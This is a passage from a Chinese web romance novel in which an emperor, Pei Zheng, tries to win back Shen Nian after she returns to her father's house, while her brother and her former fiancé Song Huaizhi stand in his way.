闻言,沈念抬眸望去,见门外逆着光,缓缓走进来一个人,而那人不是别人,正是她以为死去的裴争。 “裴争……”她低唤了一声。 那男人走到她身前,向她伸出手,目光微顿,“卿卿,朕——” 这时,沈念忽地起身扑进他的怀中,“你没死,裴争,你没死……” “你真的没死……心还是跳的,身体是温热的。”她用颤抖的手掌,抚着他的胸膛,感受着他跳动的心脏,还有他温暖的怀抱,“裴争!” 心情的大起大落,沈念落泪不止。 裴争抱着她,抱得很紧,“卿卿,朕没事,莫要哭了。” 越劝越凶,沈念的声音是止不住哭腔,眼泪噼里啪啦地落下来,“裴争,我恨你,我恨你,我恨你!” “裴争……” “我恨你……” 恨他在她心里留下不可磨灭的印记,恨他死了,让她也难过。 她恨他,快恨死他了。 裴争抱着她,紧紧拥她入怀,像是要将她揉进身体里,“嗯,朕知道你恨,但朕爱你,卿卿,朕爱你。” 闻言,沈念仰起泪痕斑驳的小脸,抬手抚着他的眉眼,鼻尖,又凑近他的鼻息。 是真的有气, 他确确实实还活着。 她好害怕,他会死。 感受着姑娘温热的指尖,裴争懂她在做什么,收紧手臂,让她心安,“卿卿,朕活着,没死。” 其实他醒来时,邬道先生同他说过,他解蛊后,确实已有逝世之兆,可他的心中想着沈念,想着他们相处的点点滴滴,他舍不得去死。 他还没求得原谅,怎么能一死了之。 或许就是这份执念,支撑着他活下来,慢慢恢复脉象。 “卿卿,是你,我才活下去。” * 几息后,沈念同裴争分开,他们既然已经解蛊,没再留下来打扰邬先生,只歇息片刻后,便动身离开。 车舆上,裴争因身子虚,总昏睡,醒来时,沈念也未同他多说话,只负责照顾他。 裴争也识趣,不敢多同她说什么,只偶尔装作不舒服,博得她的关心。 两人相处平静,却气氛怪异,长戈时常进入车舆后,察觉气压低沉,根本不敢多话。 行路时,沈念在车舆内,一言不发,裴争需要时,她便前去照顾,不需要时,她又迅速坐回对面,望向帷帘外。 看着窗外从没见过的景色,表面她很平静,实则她的内心早已乱成麻,拧成一条绳,不知如何去解。 因裴争身子虚弱吃不消,他们刻意放缓脚程,直到两个月后,才回到京城。 长戈将帝王要回京的消息早早传回京城,这日黎明,宫门前文武百官列道相迎,裴昱立于最前,小小身躯已具储君气度。 见到帝王后,众人皆跪下相迎,“臣等恭迎陛下回宫!吾皇万岁万岁万万岁!” 在人群中,沈念一眼便瞧见了裴昱,那孩子虽然才三岁半,可储君气度十足。能引领百官,恭迎皇帝回宫,她心中有一种说不出的欣慰,她的孩子,也可以自己独当一面。 “众爱卿平身,随朕回宫。” 裴争的身子恢复不错,已不用人搀扶,不过长戈还是不放心,一直在他身侧护着,生怕他会发生什么意外。 大臣们起身后,裴昱立刻跑过来扑进她的怀中,抱住她的胳膊不撒手,“娘亲,昱儿好想你。” 沈念揉了揉他的头,声音轻柔:“昱儿,娘亲也想你。” “昱儿,莫要缠着你娘亲,”裴争拉开昱儿,上前欲攥住她的手,“卿卿,同朕回宫。” “裴争!”沈念躲开他的手,冷声拒绝:“我不回去。” 裴争眼睫一垂,再次握她手腕,“嗯?你不同朕回去么?” 他的语气已再无往日那般强硬,反倒是多了几分恳求。 如果在之前,他一定会不顾一切抱起她,大步迈入宫内,管她愿不愿意。 他是帝王,是她的男人, 就该同他回去。 但眼下他绝不会这样做。 “卿卿……” “裴争,你别逼我,我不想回宫……别逼我。”沈念眼眶微红,推开他的手,“你不是说好了,不再纠缠我,现在,放我离开,我不回宫。” “你要去哪里?”裴争拳心攥紧,却不敢强拉,“同朕回去。“ “哪里都好,总之不想回宫,我的心好乱,裴争……真的好乱,让我留在宫外,好么?”说着说着,她心口止不住起伏,气息微促,“别再逼我了,裴争。” 她的态度强硬,如今同裴争经历这么多的事,她的心已乱到根本无法理清。 一桩桩一件件,她太乱了, 对裴争,她已不知是什么情感。 她恨他不假,那些伤害无法像没发生过一样,可他又多次舍命相救。 她不知,到底该如何面对裴争,面对以后。 “好,”裴争垂下眼睫x,终应下此事,“沈国公前些时日上奏,如今已归京,现居沈府。” “卿卿,你若无处可去,可以回沈府。” 同沈念提到沈府,他是有私心的,知道她在哪里,随时可以寻到她。 “我父亲,他回来了?”沈念先是一惊,而后她点头,她的确无处可去,回沈府也好,算算她同父亲已三年未见。 即便他对自己永远是冷漠的,但想到三年未见,她的心还是软下来。 随后,侍卫护她离去。 站在那里的裴争望着姑娘离去的背影,脸色极沉,拳握得更紧。 一旁的裴昱轻声问:“父皇,娘亲还会回来吗?昱儿想娘亲,还未同她亲近。” 还会回来么? 他也在问自己,沈念还会回来么? 良久,他低语应声:“让她静静。过段时日……父皇会亲自哄她回来。” 他知她心乱,他们之间太多纠缠。可他不知她是否爱他、是否愿意回来。 她的心里,会有他的一席之地么? 他答应不再逼她…… 若她不愿,他还能如何? 难道,他们就此要分开么? * 此时,沈念行到沈府。 三年未归,她推开那道熟悉门扉,府内的管家愣怔片刻,见到是她后,登时老泪纵横: “大姑娘!真是您!快!禀报公爷、世子,大姑娘回来了!” 沈念亦是红了眼眶,跟着管家进府,来到正殿,见到了许久未见的父亲。 第82章 三年未见,父亲仿若苍老了十几岁,见到她的身影后,沈国公颤巍巍站起身,声音哽咽:“你…你是阿念么?你是我的女儿…阿念么?” 不知为何,见父亲两鬓斑白,和那双充满愧疚与渴望的眼眸,沈念一时喉咙发紧,心底的酸楚翻江倒海,到最后,眼泪还是不争气地流了下来。 她提起裙摆便要跪下,声音满是哭腔,“父亲,是女儿不孝。” “阿念莫跪!快起来!”沈国公急步上前搀住她,紧紧攥着她的手,“是父亲…是父亲没能护住你。让你受苦了。” “父亲,这又如何能怪你?”沈念摇着头,回握他的手,“是女儿不孝。” 三年来,未曾给过他一个她还在人世的消息。 “你不怪我么?”沈国公紧紧握住她的手,怕她下一刻会消失不见,可是又想到那些年对她的冷落,他低下头, “阿念,是为父糊涂,对不起你…官场沉浮,我只知给你一方屋檐生存,却听信江氏谗言,从未真正关心过你的冷暖喜悲。 可阿念我也是第一次做女娘的父亲,不知该如何是好…我爱你母亲,又怎会不爱你?” “为父是真的不知该如何爱你……” 提起这些,沈国公语无伦次,不敢看她的眼睛,只有万分自责。 沈念偷偷擦拭眼尾的泪水,“父亲,过去了,莫要再提了。” 她起初是怪罪过父亲的冷漠,后来她不再怨恨,过去的事若是一直揪着不放,痛苦的是她,折磨的也是她。 “好…好,不提。”沈国公连连点头,用袖子胡乱擦着脸,“都过去了。” 这时,耳畔忽地传来熟悉的少年呼唤声,“阿姐!真的是你么?” 闻声,沈念回过头,见是她的弟弟阿瑜,是她最疼爱的弟弟阿瑜,竟比她还高出一个头。 “阿瑜,是我。” 话音落,沈瑜冲过来,紧紧将她抱住,并脸埋在她肩头,哭着说道:“阿姐,阿姐,我还以为再也见不到你了,阿姐!” 待沈瑜情绪稍平,一家人才围坐案前用膳。只是她并未见到江氏的身影,心下猜到几分,他们之间不和,许是不愿见她。 不过她还是多问了一嘴,经沈瑜叙述,沈念才知道,这三年沈家到底发生了什么,原来他们举家南迁后,江氏不满沈父辞官,屡次吵闹,在一次折腾中,失足摔断腿,便留在江南养伤,这次没跟过来。 沈瑜嘟囔一句:“她如今…倒是消停了不少,许是知道没脸见阿姐,才没来。” 随后,他又补充一句:“阿姐,当年得知你未死的消息,父亲当即就要上京,说拼了命也要带你回家,结果急火攻心大病一场,这才耽搁了,直到现在……才让你受了那么多委屈。” 沈念垂眸,默默为父亲布菜,沈国公看她良久,终是问出了口:“阿念,你与陛下…究竟是怎么回事?” 她早就猜到父亲与阿瑜会问此事,她放下手中的筷子,没再隐瞒,将她同裴争之间的事,从头到尾,尽数讲了出来,从共中情蛊到被迫入宫,还有昱儿,事无巨细的说了出来。 虽已刻意平淡,但沈瑜听得拳头紧握,眼眶赤红,最后猛地捶桌,愤愤道:“那狗皇帝竟如此对你!我要杀了他!阿姐,我要杀了他!” “阿瑜!”沈念按住他的胳膊,声音平静得不能再平静,“莫要冲动!一切都过去了。” 她同裴争之间那些往事,都过去了, 不知为何,如今就算谈及,也无此前那般怨恨,甚至是异常平静。 那些事就像上辈子发生的,已不在意。 沈国公心疼得无以复加,只反复道:“我儿受苦了,是为父无能…” 沈念为父亲和弟弟各夹了一筷他们昔日爱吃的菜,温柔笑道:“真的过去了。我们一家人好好吃饭,往后,都是好日子。” “我们一家人,好好在一起。” 膳后,沈念送父亲回房歇息。转身欲回自己院落时,却被沈瑜叫住。 少年站在廊下,皎洁的月光落在他身上,泛着银白色的光辉,他的神情是罕见的认真与不安, “阿姐,你爱他么?” “谁?”沈念一时没反应过来他说的是什么,重复问:“阿瑜在说什么?” “那个…狗皇帝。”沈瑜抿了抿唇,仔细观察着姐姐的神色,小心翼翼开口:“阿姐,你心里,有他么?” 沈念垂眸,鸦睫在她雪白的面颊投下一层浓密的阴影,忽有风吹过,带来腊梅冷香。 她的心里有他么? 她也在问自己。 一次次伤害,一次次舍命相救, 她原谅他了么? 沉默一瞬后,她没回答,只轻声应道:“阿瑜,我们不说这个,好么?” 沈瑜却从她那片刻的沉默与躲闪中,窥见了那一丝未曾磨灭的情愫。 他心下复杂,知道阿姐爱皇帝,确认这一点后,他更恼那皇帝伤阿姐至深,又怕阿姐余情未了再受委屈。 听阿姐不愿提狗皇帝,他忽地咧嘴一笑,岔开话题:“好,我们不提他!阿姐,我那小外甥,叫昱儿是吧?已经三岁了,快跟我说说他,长得可像阿姐?若像阿姐的话,一定是个可爱的奶娃娃,改日我定要见见!” 沈念“噗嗤”笑出声,面色柔和下来:“是,他叫昱儿,都说外甥肖舅,他模样,倒真有几分随了你小时候。” 沈瑜眸中一亮,“真的?阿姐可别骗我。” 姐弟俩倚着栏杆,说了许久的话,直到夜深,他们才恋恋不舍分开回屋睡觉。 没有裴争的日子就这样安稳度过三日,直到第四日,他们一家人正在暖阁品茶闲聊,管家匆匆来报:“公爷,门外有人自称是陛下,要见大姑娘。” “什么陛下,陛上的!”沈瑜当即跳起来:“不见!不见!就说阿姐没空!” “日后有我在,我护着阿姐,那个狗皇帝休想欺负你!” 沈国公看向女儿,面露担忧。 而这时,沈念执着茶杯的手微微一顿,眼睫未抬,只抿了口茶。 她早就知道裴争不可能就此罢休,早晚会来寻她,令她没想到的是,他竟然忍了四天。 按他那个性子,实属不易。 管家为难道:“可…那位说,若大姑娘不见,他便一直等。” 沈念没动,捏紧茶杯,“那,让他等着吧。” 窗外不知何时又飘起鹅毛大雪,簌簌落下,很快染白庭阶,有寒风吹来,吹动窗子发出嘈杂的声响。 沈念望着那越积越厚的雪出神,裴争才刚解蛊,身子怎受得住这般寒气? 真是可恶,就这么不爱惜自己的身子。 沈国公将她细微的担忧看在眼里,心中暗叹,温声劝道:“阿念,你若是想见,便去吧。无论如何,这里是你的家。” “你做出什么决定,父亲都支持你。” “父亲……”沈念放下茶杯,起身,“女儿去去就回。” * 此时的裴争已在雪中站了半个时辰,寒意透过绒氅侵蚀他的身子,令他唇色发白,浑身发颤,不知不觉间四肢已发麻。 “陛下,回去吧,看来娘娘是不会出来了。”长戈焦急劝说:“您身子刚好,龙体要紧。” “朕等她x,”裴争丝毫没动,任那寒风吹袭,他已经四日未见沈念了,那股思念就像一条蛇,在他心头越盘越紧。 他想见沈念, 只想见她,对她说些话。 “多久,朕都要等。” 他不信他的卿卿会真的不在乎他。 她是爱他的,一定是。 这时,大门“吱呀”一声响,那道萦绕心头的倩影披着藕荷色绒氅,立于漫天飞雪中,缓步向他走来,裴争抬眸望过去,果然,他的卿卿来了。 “卿卿……”他急急上前两步,却因寒气侵体闷咳了几声,声音低柔且脆弱,“你来了。” 沈念见男人肩头落满的雪花,脸色苍白无血,心尖莫名一揪。她轻颤着眼眸,语气平静:“裴争,你不该来。天寒地冻,快回去罢。” 裴争继续轻咳,想要伸出手拉住她,却又怕她生气,没敢伸手,“卿卿,朕想你。” “裴争,不是说好了,不纠缠我?”沈念没忍心说重话,只是偏过头,“你回去吧,天冷,莫要受凉。” 见她要走,裴争下意识上前,拉住她的胳膊,“别走卿卿,朕只是想同你说几句话。” “卿卿,朕知道自己错了,朕对不起你,朕不该一己私欲,把自己的意愿强加在你身上,朕不该威胁你,所有过错皆在朕。” “你打朕,骂朕,别不理朕。” “你何时才愿意跟朕回宫?” “裴争…我们已经说清楚了。”沈念试图推开他的手,却发现推不动,“你快回宫吧。” “卿卿,朕……” “阿姐!”沈瑜此时冲了出来,一把将沈念拉至身后,少年怒目而视,挡在两人之间,推开他的胳膊,“你没听见吗?我阿姐不想见你!快走!走啊!” 裴争被迫缩回手,看着眼前这张与沈念有几分相似的少年脸庞,认出是沈瑜,缓了语气:“你是沈瑜?朕是你姐夫。” 看在也是他弟弟的份上,他原谅他的不敬。 “你算哪门子的姐夫?谁又是你小舅子?”沈瑜气极要拎起扫帚打人,“你再不走,我…” “阿瑜,住手!”沈念厉声喝止弟弟,深吸一口气,看向裴争时,目光复杂,“陛下,请回吧。往事已矣,各自安好。” 说完,她不再看他,拉着仍气鼓鼓的沈瑜,转身踏入府内,大门缓缓合拢,将那道风雪中孤寂的身影隔绝在外。 “陛下…”长戈忧心忡忡,“我们回宫么?” 这都被人赶出来了,总该能回宫吧。 “朕不回。” 长戈愣住,“陛下,这沈府不让进,您还要去哪里?” 裴争望着那紧闭的门扉,良久,他唇角缓动,拢了拢冰冷的大氅,“入夜后…朕翻墙进去。”—— 作者有话说:翻墙狗 第83章 入夜,沈念自暖阁回来后,同沈父说了会话,他问过最多的便是昱儿的年岁,模样,她耐心地回着话。 她的孩子也是父亲的外孙,世人皆道隔辈亲,父亲在提起昱儿时,眸中满是期待与愧疚。 “阿念,没想到父亲也有了那么大的外孙。” “改日定叫父亲见见。” 沈父未语只笑,这话也代表着她早晚要去面对那位陛下,自己女儿的心思,他还是清楚几分。 沈念沉默,她知道父亲很想见昱儿,待过段时日,她心中没那么乱后,她会把昱儿接过来,见见沈家众人。 想到裴争,她心口止不住起伏了一下,那男人真是肆意妄为,竟比此前还无赖,连自己的性命都不顾。 与父亲叙话后,她回到屋内,脱下身上的绒氅放在小榻上,坐在案前卸下银钗。又想起今日阿瑜说,宋淮之明日会到府上来瞧她。 宋淮之—— 回顾上次分别的场景,她站在城墙之上,亲眼送他离开,心头就像被一把无名的火烤着,什么话都说不出来。 江南三年陪伴,她对他始终是愧疚的, 这种愧疚让她的心里空落落的,有种脚不着地的漂浮感。 越想越空,她索性不再想,明日之事明日再说。 而后她褪去外衣,换上寝衣。因回府突然,府中只备了夏秋的薄衫。虽屋内炭火烧得足,这纱衣仍显单薄。因她近来心绪纷乱,也无心置办这些,暂且将就。 正要上榻时,窗外却传来一阵细细碎碎的声响。 沈念拿起案上的烛台缓步靠近,“谁在那里?” “是阿瑜么?” 从前阿瑜最喜欢半夜来找她,黏着她睡。后来她及笄,顾虑男女大防,便不再给他开门,他也识趣,每次都在窗外说几句话,便走。 话音落,窗外声响消失。 也不知哪里来的胆子,她竟推开窗子,想一探究竟。 怎料就在这时,一道黑影忽地从窗外窜入! 沈念“啊”的一声,扔下烛台,脚下一滑,向后倒去。 未料腰肢被人稳稳揽住,撞入熟悉的怀抱。惊魂未定间,耳边响起低沉的嗓音: “卿卿,吓到你了?” 她抬起眸子,见来人是裴争,不过眼下的他却狼狈不堪,脸上还蹭了道黑印,袖口甚至破了个洞,一看就是翻墙进来的。 堂堂一国之君,竟然翻墙? 她又是惊讶又是气恼:“你如何进来的?谁许你进来的?” 裴争盯着她,姑娘一身纱衣,肌肤若隐若现,红唇藕臂,轻易点燃他心中积压许久的欲念。 “朕翻墙进来的。”他嗓音微哑,“卿卿,朕想你。” 不止是想,他都快想疯了! 察觉到他灼热的目光,沈念才意识到自己衣着单薄,不自在地推开他,“裴争,你是帝王,怎能半夜爬墙?传出去,岂不是让人耻笑?” “朕见朕的娘子,何人敢笑?”裴争攥住她的手,声音很低,“卿卿,可否再给朕一次机会?” 沈念偏过头,轻轻攥了攥手,“我……眼下不想谈这些,裴争,你别逼我。” 在她理清楚思绪之前,不想跟他谈,她的心仍然很乱,时而想起裴争从前折磨她的日子,时而想起他舍命相救的模样。 伤害的的确确存在,无法磨灭,救她也是真。她甚至开始想,究竟什么是爱,自己心里到底要什么。 裴争眸光微黯:“好,朕不逼你。但朕想说……朕真的爱你。” “卿卿,朕真的爱你。” “嗯,”沈念望着桌案,轻声应了句,“说完了,你就出去吧。” 他们眼下这种关系,不适合睡在一起。 裴争没动,想到方才翻墙摔的那一跤,又威逼了个小厮才寻到她的闺房…… 他不想走,也不能走。 此刻走了,算什么? 机会是要自己争取的, 他不可能走。 这时,他忽地抚着胸口,眉心微蹙:“卿卿,朕走不动,方才翻墙时摔着了,旧伤有些发作。” “朕浑身都疼,胳膊、腿……若是现在出去,怕是要倒在雪地里了。” “……” 沈念仔仔细细打量着男人,除了脸上脏兮兮的,袖子破了一个洞,倒看不出明显伤势,可他脸色确有些苍白,她终究还是心软下来,捏紧手指,“那,你今夜暂且留下。但不准对我有非分之想,否则——” “好,朕不碰你。”裴争立刻应下,“朕非小人。” 话落,沈念去柜中取出一床被子,扔在地上:“今夜,你睡地上。” 休想让她和他同榻而眠。 “卿卿,地上寒气重,朕旧伤未愈。” 话音未落,男人已拦腰将她抱起,轻轻放在榻上,自己也躺了下来。 他的手臂揽着她的腰肢不放,沈念捏着他手背的肉,“松开!” 裴争“嘶”了一声后,低笑:“卿卿,朕喜欢你打朕,骂朕。” “无赖……” 沈念生闷气,怎么就莫名其妙让这厮上了榻,睡在一起?她真应该将他赶出去,可她又狠不下心。 “裴争,你休想碰我。” “嗯,朕不碰你,只是同你躺在一张榻上,便也心满意足。” 静默片刻,他忽想起什么:“卿卿方才……是将朕认作沈瑜了?他也常半夜敲你的窗?” 沈念已有些困,随口应道:“嗯,他是我阿弟,从前常来。” 闻言,裴争有些急,他忽地起身,掰过她的身子,哑声:“他那么大了,是个男人,他也同朕一样睡在你的榻上么?嗯?” “嗯,” “卿卿……” 他语气骤沉,眸色暗了暗。 他不爽!很不爽! 那个沈瑜,仗着是弟弟便能如此? 他想要找人陪着,就娶妻,凭什么缠着沈念? 沈念抬手轻推他肩,声音淡淡:“裴争,不想睡,就滚出去。” 裴争当即来了股火,看着榻上的美人,是他的女人,是他孩子的娘亲,可她愣是x不让他碰。 可是他能如何? 沈念不要他,能怎么办? 至少此刻她还愿同他说话,还会心软,这是否意味着,她心中仍有他? 他真的病了,而且病的不轻,总在揣测她是否爱他,是否会拋下他,就如同深宅中的怨妇。 时时刻刻想着沈念,求她爱,只要她对他冷漠一点,便茶饭不思。 他疯了,他承认。 最终,裴争将那火气压下,默默躺回她身侧:“卿卿,何时愿同朕回宫?” 沈念不答。 “我们的昱儿想你了,常念叨你。” 提起昱儿,她才愿意开口:“过些时日,你送他来沈府,让他见见外祖父和阿瑜,我父亲很想见他。” “好。”裴争应声,不久听到身侧均匀的呼吸声,他抬头看着身侧的美人已入睡,他悄悄靠近,望着那诱人的唇瓣,他没敢亲,最后只吻向她的额间,小心翼翼。 自己的女人,竟要这般偷偷摸摸。 裴争唇角微勾,却又无奈。 …… 次日晨时,沈念是被急促的敲门声惊醒的:“阿姐!起身了么?阿姐!” 醒来时,发现自己竟缩在裴争怀中,他的手竟然得寸进尺伸进她的寝衣,摸着她的小腹。 她惊坐而起:“裴争!” “嗯?” 她一喊,不止是裴争起身,还有门外的沈瑜更是推门而入,担忧道:“阿姐!你怎么了——” 话音戛然而止。 沈瑜瞪大眼睛,看着榻上衣衫不整的二人,尤其是看清裴争那张脸,怒火瞬间冲顶。 “狗皇帝!你给我出来!你何时来的!你这混账!竟敢夜闯阿姐闺房!” 他自幼是个不怕惹事的,谁欺负她阿姐,他更是拼命护。 裴争将被襟盖在沈念身上,嗤笑一声,起身下榻,缓缓道:“怎么?朕不能来么?你阿姐是朕的女人,朕同她睡在一张榻上,天经地义。” 沈瑜气极,冲上前揪住裴争衣襟,一拳挥了过去,“谁是你的女人?谁是?” “阿瑜!住手!”沈念慌忙下榻,却被纱衣绊了一下。 裴争抬手抹去嘴角血,眼神骤冷,“沈瑜,你可知殴打天子是何罪?” “天子?你也配称天子么!”沈瑜气得双目发红,“你自己说,当年你是怎么对我阿姐的?如今还有脸来纠缠!给我滚出去!” 说罢又是一拳。 这次裴争有了防备,侧身躲过,并反手扣住沈瑜手腕。两人在屋内缠斗,不小心撞翻了案几,传来瓷器破碎的刺耳声。 “住手!都住手!”沈念急得去拉架,却被裴争护到身后。 就在这混乱之际,裴争忽然扶住胸口,握拳,低咳起来。 沈念心里一紧,下意识扶住他:“裴争,你怎么了?” 裴争顺势握住她手腕,“卿卿,朕心口好疼,你给朕看看……” 沈瑜见状更怒:“装什么!你方才打我的力气不是挺大!”他看得清楚,这男人转身时嘴角那抹得逞的笑。 狗皇帝,都是装的! 为了博得阿姐的关心。 “阿瑜!”沈念难得对阿弟板起脸,呵斥:“你太冲动了!” “是他先欺辱阿姐!”沈瑜眼圈发红,“当年他那样对你,如今又想故技重施!阿姐,你忘了那些苦日子了吗?” 沈念怔住。 裴争的手微微一颤。 屋内骤然寂静。 良久,裴争松开沈念的手,整理凌乱的衣袍,看向沈瑜,神色莫辨,“这一拳,朕受了。是为从前朕所犯下的错。” 他顿了顿,声音低沉:“但沈瑜,朕与阿姐的事,还轮不到你置喙。” 沈瑜还想说什么,却被沈念打断:“够了。” 她深吸一口气,看向裴争:“你该走了。” 裴争深深看她一眼,终究没再说什么,转身而离去。 沈瑜看着他落寞的背影,瞬间心情大好,特意扬高声音:“阿姐,我的姐夫宋淮之眼下正在前殿等着呢,我们快去,莫要让他等急了。”—— 作者有话说:追妻可不是那么好追的,吃吃苦吧。 第84章 闻言,裴争脚步一顿,骤然停了下来。 沈瑜是故意的,沈念也知道他是故意对着即将离开的裴争说的,但对于他这番言论,她并未阻止。她没有看裴争的神情,却也能想象出他此刻的脸色有多么难看。 想到这里,她竟然很痛快,仿佛某个被压抑的小心思得到满足,甚至想让阿瑜继续说下去,刺激那男人。 沉默几息后,沈念拉过沈瑜的胳膊,轻声道:“我们走吧,阿瑜。” 转身之际,她瞥见裴争离去的背影,心中却掠过一抹难以言喻的失落。 她在失落什么? 裴争不纠缠她,不是好事么? 她该高兴啊。 心不在焉跟着沈瑜来到正殿时,她见到宋淮之正站在殿内,她独自入内。 在听到她的脚步声后,宋淮之转过身,立刻起身迎过来,将她轻轻拥入怀中:“卿卿,我终于又见到你了,卿卿。” “淮之……” 距离上回分别已隔许久,他看起来比往日精神了不少。抱了一会后,宋淮之才松开她,“卿卿,是我太心急了,我真的很想你。” 沈念默默低下头,他们之间,终究是她亏欠良多。 “淮之,你身子可还好?” “我很好,你不必挂心。”宋淮之凝视着她,声音温柔,“你呢?卿卿。” “我也没事。”沈念垂下眼,咬着唇,“他……如今愿意放手,不再纠缠了。” 他是谁,两人心知肚明,不过他们都不想过多提及这个人,这件事。 宋淮之嘴角泛起一丝苦笑,沉默片刻,才问:“卿卿,日后你有何打算?” 日后—— 时至今日,她还从没想过日后,一时竟不知如何回答,只淡笑道:“走一步看一步吧。” 其实,她也不知道自己要做什么,心里究竟在想什么。所以,她见到裴争时,面对他的发问,根本不知道该如何回应他。 原谅他了么?愿意同他回宫么? 她不知道。 她总觉得心底有什么东西阻隔着,朦朦胧胧,让她无法抉择。 宋淮之看出她的犹豫,欲言又止,终于鼓足勇气握住她的手,“卿卿,我还有机会么?如果你愿意,我可以随时娶你为妻,我们忘掉那些不快,此生敬你,爱你。你愿意…么?” 说到最后几个字,他的声音轻得几乎听不清,带着小心翼翼的试探。 沈念看着他,心中起了波澜。然后她深知这份动容并非是出于男女之情,而是因为他的赤诚与始终如一的珍重。 他实在是一个很好的人,若嫁与他,此生大抵能平安顺遂、举案齐眉。 可是…… 她为什么不愿意了? 为什么会下意识想抽回手? 又为何……会在此时想到裴争。 为什么,到底为什么? 她变了,已不再是那个沈念。 良久,她蜷了蜷手指,低声道:“淮之,我……你值得更好的,我配不上你。” 是,她终究没将那句,我不愿意,说出口。她仍是不忍伤害他。 那是她此前的郎君,她怎能伤他? 宋淮之有一瞬间失神,不过仅一瞬,他又将那股情绪压下,起温和的笑,“我知道了卿卿,你莫要再说了。” 他听懂了, 他的卿卿不要他了。 那份失落,那份孤寂,压得他喘不过气。 “淮之,对不起,我……” 从及笄定亲,到成婚,再到江南三年陪伴,宋淮之陪在她身边的岁月太长,长到她早已习惯将他视作亲人。 或许,一直以来,她都只是把他当做家人。 那股愧疚涌上心头,她不敢看宋淮之的眼睛,默默低着头。而宋淮之却揉了揉她的头,嗓音依旧温和:“卿卿,说什么傻话?只要你安好,就好。” “淮之……”她眼眶酸涩,声音哽咽起来。这一生,她最亏欠的,怕永远是他了。 “卿卿,今日……陪我走走可好?”宋淮之望着她,目光恳切,“就像从前那样,只此一日,了却我一桩念想。” 沈念轻轻点头,“好……” 得到她的回应,宋淮之牵起她的手,向府外走去。 不料刚到门口,竟被裴争拦住。他盯着两人交握的手,脸色倏地沉下,声音冷冽:“你们要去何处?” 沈念愣住,问道:“你为何还不走?” 方才明明见他离去,怎会又候在门外? “朕……”裴争并未回答,只继续问:“回答朕,你们要去哪里?做什么?” 他本来也没想走,一直等在门外,若宋淮之迟迟不出来,想留在沈府过夜,他便会闯进去,将人抓出来x。 能在沈府过夜的,只该有他一人,宋淮之,不行。 他才是沈念的男人,是她孩子的父亲,那个宋淮之算什么东西? “与你无关。”沈念侧身欲行。 裴争却一把攥住她的手腕,声音低了下来,几乎带着恳求,“卿卿,不许同他走。” 沈念没动容,推开他的手,“淮之,我们走。” 她拉着宋淮之快步离开,原以为裴争不会跟上,却没想到他竟一路默默跟随在后,却始终保持着一段距离,他的目光紧紧锁在二人身上,仿佛随时会冲上前来。 沈念同宋淮之先是来到此前他们最喜欢来的酒楼。她点了许多宋淮之爱吃的菜,而裴争就坐在他们对面的角落里,他吃不下去东西,只要了一壶茶,死死盯着眼前并肩而坐的两个人。 小二见他看着眼前的姑娘和公子,多嘴说道:“公子是认识那一对璧人?他们可真真是郎才女貌。” 闻言,裴争撩起眼皮瞪着小二,“他们般配么?” 他咬着后槽牙,“说不般配。” 小二被盯得后背凉,连连应声,“是,是,他们不般配,不般配。” 裴争继续看着眼前的美人,见她竟然为宋淮之夹菜,又见宋淮之含笑将一勺羹汤递到她唇边。 她对他笑得那样温柔,嗓音轻软,是他从未见过的模样。两人甚至还相谈甚欢。 他听不清他们在说什么,只知道沈念在笑,她还从未对他笑得那样灿烂过。他恼怒,却又不敢对沈念做什么,若是往日他定把他们的桌子掀翻! 裴争捏紧手中的茶盏,指节泛白,仰头灌下一口茶。 居然是绿茶,涩得发苦。 苦得让他咳了几声。 或许是裴争发出的声音很大,沈念终于抬眸朝他这边望过来,看着他那张阴沉的脸,不知是不是被他的眼神惊到,忽然呛口茶,咳嗽不止,连鸦睫也挂上几滴泪珠。 身侧的宋淮之攥住她的手,忙轻拍着她的后背,“怎么这么不小心?快顺顺气。” 宋淮之很有分寸,只用一只手轻拍她的后背,不敢有半分出格的举动。 这一幕落在裴争眼中,宋淮之那厮竟然在摸沈念的后背?他心底蹭地一下,窜出一股邪火,再也按耐不住,大步上前猛地踹开宋淮之,一手扶住沈念的腰肢,一手抚上她的前胸顺气。 “卿卿,朕来给你顺气。” 咳了几声后,沈念随即推开他的手,嗓音微哑:“裴争…你又想反悔么?说了不要纠缠我。” 说罢,她转向宋淮之,扶起他,“淮之,我们走。” “卿卿……” 他唤了一声,却无人回应,留给他的只有冷漠的背影。 裴争僵在原地,只能眼睁睁看着沈念与宋淮之相携离去,自己却像个见不得光的影子般跟在他们身后,窥视着他们的每一分亲近。 他怕极了。 怕这江南三年的朝夕相处,早已让沈念对宋淮之生了情;怕那个温润如玉的君子,终究会彻底夺走她的心。 宋淮之与他不同,与沈念相处时间很久,久到从她及笄就伴着她,陪她度过许多难忘的日子。 他再不能像从前那样强取豪夺,逼她做什么她不想做的事,可若她真的不要他了,他又该如何? 最后,他跟着他们,一路到了玉清观。 沈念先是同宋淮之进了大殿上香祈福,裴争本来是跟着进去的,站在他们二人身后盯着他们一举一动,后来被小和尚赶了出来。 等了半个时辰,沈念同宋淮之出来后,他又跟着来到后院的亭台。 宋淮之望着那棵姻缘树,温声开口:“卿卿,你瞧那棵树,虽不是原来那棵,但那段美好回忆,我永远记得。” 沈念依言望去,想起那段无忧无虑的日子,她那时是真的想嫁给宋淮之的,同他亲手挂上那写着他们二人姓名的红丝带,保佑他们夫妻和睦。 过去的一切,恍若隔世,不知不觉间,已过了三年。世事无常,她变了,已不再是那个满心只有嫁人脱离沈府的沈姑娘。 “淮之,我这一生最亏欠的就是你。” 话说着,她的目光却落在不远处的裴争身上,他的脸黑得能滴出墨来,周身满是怨气。 见男人如此,沈念唇角倏而一弯,眉宇间还带着狡黠的幸灾乐祸。她打心眼里喜欢看着裴争这个模样,恼怒却又无可奈何,不敢拿她怎么样。 一旁的宋淮之眸色暗沉,思虑良久,他才开口:“卿卿,我能吻你么?”—— 作者有话说:本来想一直肝到收尾的……结果失败了[求你了]《 》 (正文完结) 第85章 一旁的宋淮之眸色暗沉,思虑良久才开口:“卿卿,我能吻你么?” “嗯?”沈念收回远望的目光,看向宋淮之,一缕阳光落在他身上,他虽唇角噙着笑,可那笑意却浸着难以言喻的苦涩。 “淮之,你说什么?”她几乎以为自己听错了,他想要吻她? 宋淮之的余光掠过不远处那道挺拔的身影,心底涌出几分自惭形秽,正如此前那人所说,沈念同他有个孩子,做过所有夫妻间该做的事,如今她心中惦念的也是他,自己算什么呢?不过是个有过婚约的未婚夫,有辛陪她在江南度过三年罢了。 除此之外,他什么都不是。既不能护她周全,也不能真正带给她欢愉。眼下连沈念想要什么,自己都不知道。 